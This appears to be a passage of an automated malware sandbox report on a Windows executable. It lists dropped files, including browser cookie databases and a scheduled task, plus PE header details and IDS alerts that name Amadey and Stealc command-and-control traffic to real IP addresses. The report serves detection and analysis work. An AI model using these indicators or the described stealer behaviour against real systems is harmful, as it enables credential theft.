File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 11:01:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.983944427093989
Encrypted:	false
SSDEEP:	48:87dFTJLhVHgidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbCy+yT+:8LFtlT/TbxWOvTbCy7T
MD5:	3021233A6DD8C7DB89B80DA84F6FB97A
SHA1:	68B438C032809932A6AB3A4C5EAACB7B4ABA25D6
SHA-256:	8FDC4CAB6720681D8C26870B26AE19EDD7A8015F07FEF15EBD78E302ABE35824
SHA-512:	CBDD8BBA5C9D4C170CB61E53E28A3417BE8D7501110A97BEA1690A42E2455333896FEBD5BEEF680D9FDA39900D75325742394FCC733C4CAB00C34C6C4D3DB911
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......@.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY)`....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY)`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY)`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY)`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY+`...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........0n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBFHDHJKKJD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3240960
Entropy (8bit):	6.6064049873332475
Encrypted:	false
SSDEEP:	49152:hYbVPjv1o301KPOr8LQbi1WTuynxBvx+4bmPmV01l7Jd38rHo6Y4N:SD1o2KPOr8LQb2WTuynLJSPJB8Xh
MD5:	03B9E85B193C6271F2999E206AA72387
SHA1:	269750AD93E9EA766348F934720C0E1B56E7A8DC
SHA-256:	DAB1B476F15D7654C295FCCC68147CE309AE110E446D2CA730EEAE4F3F0244FA
SHA-512:	BB6D7E7C9B606233E90D401E7515D98DC742543528081F80E3F9A8064FFEDCBC7F2AADB1965EFCCB76B56ED7ED1378A312BA4A9E79327BF1418E46F28BF3DFEF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....s.1...@.................................W...k.......H....................e1.............................\e1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...cztmcjxa..........................@...vidbrugm.....p1......N1.............@....taggant.0....1.."...R1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsBFHDHJKKJD.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4087920062661388
Encrypted:	false
SSDEEP:	6:9ZpimbX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB1lQct0:9Z1ruQ1CGAFifXVBvQct0
MD5:	ACEABA9B9BD6EA7386FFD3521EA0F27B
SHA1:	CA19528FB3CF04CCBAD87FB73234FCE77BD80725
SHA-256:	FE95C36A03D67CEAE93108924F568DDFE2591664EC787B3AFC0136463CDD9406
SHA-512:	6F48BF30EE8E7E10C71E3FAA4E8D0F9270BD88274E44D205EF04FB388E281824A8F89100B04C9A2F4D0CAFB8B6384A9E41FEE06AFE5701E4F97891F33D0602CB
Malicious:	false
Preview:	....#..eG.)G.(.....F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3154)
Category:	downloaded
Size (bytes):	3159
Entropy (8bit):	5.834051506308745
Encrypted:	false
SSDEEP:	96:cVEpliRIN6666VIgRr5DluIXHHr3C24PtmjLEZo8b9U0b4ffQffo:JftN6666VIsFD4Ib3wVIL89bbK
MD5:	109AA10FCB47968EDCBF1F40801F56D3
SHA1:	95AD428DBCD8B458D6508835AE72B6227D4BBC5F
SHA-256:	C3478B7244F5CB2534DD4691CC937C2E6E233C786E33B202A40D563E2B4BC2EE
SHA-512:	3B0633ACF5B370EBCB7182575DF7281733C68CE018D7427DEE5E66A715FA620C67AB8A9AF984F3FC880948717DB064461B7AAB6751583B69990998871969B4AC
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["advance auto parts closing stores","arcane episodes","half life 2 20th anniversary update","geno smith","winter weather warnings","nasa space station leak","nyt strands november 16","bottled water recalls"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wZGRkOTg5EhRGb290YmFsbCBxdWFydGVyYmFjazL3DGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWNBQUFDQWdJREFBQUFBQUFBQUFBQUFBQUFCd1VHQkFnQkFnUC94QUEwRUFBQkF3TUNCQU1HQkFjQUFBQUFBQUFCQWdNRUFBVVJFaUVHQnpGQkUzR0JJakpSWVpHaEZWSmljaFFqSkVLU3dlSC94QUFZQVFBREFRRUFBQ

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133042
Entropy (8bit):	5.434942271981841
Encrypted:	false
SSDEEP:	3072:fxkPdsBJT7bKwkztS6STFSz1nrmeSnXYK02i6o:fudUW5c5Sz1nKeSnoK08o
MD5:	47694E0503B631D3C6A2D32C968B1704
SHA1:	0A0C55A5E649B32F3376B1AE8F117E86DBD23219
SHA-256:	147DDB0931449E02465663B9B36271E82559FA9F1964CFC9505C7CB4BA2F657B
SHA-512:	9ADD6D365353D1A5ACF55291D405AE42F164A35B45D4E1D540F71EDD48B89B64F3B6936979CB5B1049192070BC06065B0DDB8D61838E3A72FF8C5A492B8C5BE8
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951055187274841
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'792'000 bytes
MD5:	92f63d65d300b1eb836e62251a754767
SHA1:	f56c26a6e106bd720fe5424aad9d05e449f39a31
SHA256:	44205e1c63b9dd78eb35ae46b12c02aba936367c40fd1777f07e5d7c773ac3c2
SHA512:	683bf154a8c64d86862906634ccbdca3d692a3fcc342ff514c2d9c094a2b885a50e52b46a6924a13457a2e326945742a60507a8d51883cfc32f469b0ab4d4db3
SSDEEP:	49152:fKzpZcePoUmJanKhOgPl7+4gMbyRFC/AfB:SceAUS8MOgP9+45KCy
TLSH:	CF8533552C3BB158E214FAB850C5DA3D13A127B8FF0826D021A173BC8FF6AC7664F925
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa90000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6DFCAE046Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	2f0104d9073b3d07efcce422d95f6cd7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	3ac6149683d8c5335bce2c59e1008e2a	False	0.796875	data	6.042778395819577	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a7000	0x200	b0da240beab0d02f30e477da319ea2db	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cxqoexay	0x4f3000	0x19c000	0x19ba00	118d9ebca3e70e5d073b9bc880affa06	False	0.995027330701488	data	7.955747079437547	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dlqtguyq	0x68f000	0x1000	0x400	796675adb9528d4cda66061aca8240fb	False	0.7646484375	data	6.090654631796382	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x690000	0x3000	0x2200	16756c89f47b1301b770fa05b1c3009f	False	0.34524356617647056	DOS executable (COM)	3.8402873603704446	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68e754	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-16T13:01:08.659665+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50126	TCP
2024-11-16T13:01:14.898092+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T13:01:15.209380+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T13:01:15.216597+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-16T13:01:15.493000+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T13:01:15.500432+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-16T13:01:16.681954+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T13:01:17.296705+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T13:01:37.057366+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:38.385529+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:39.305385+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:39.878352+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:41.395572+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49802	185.215.113.206	80	TCP
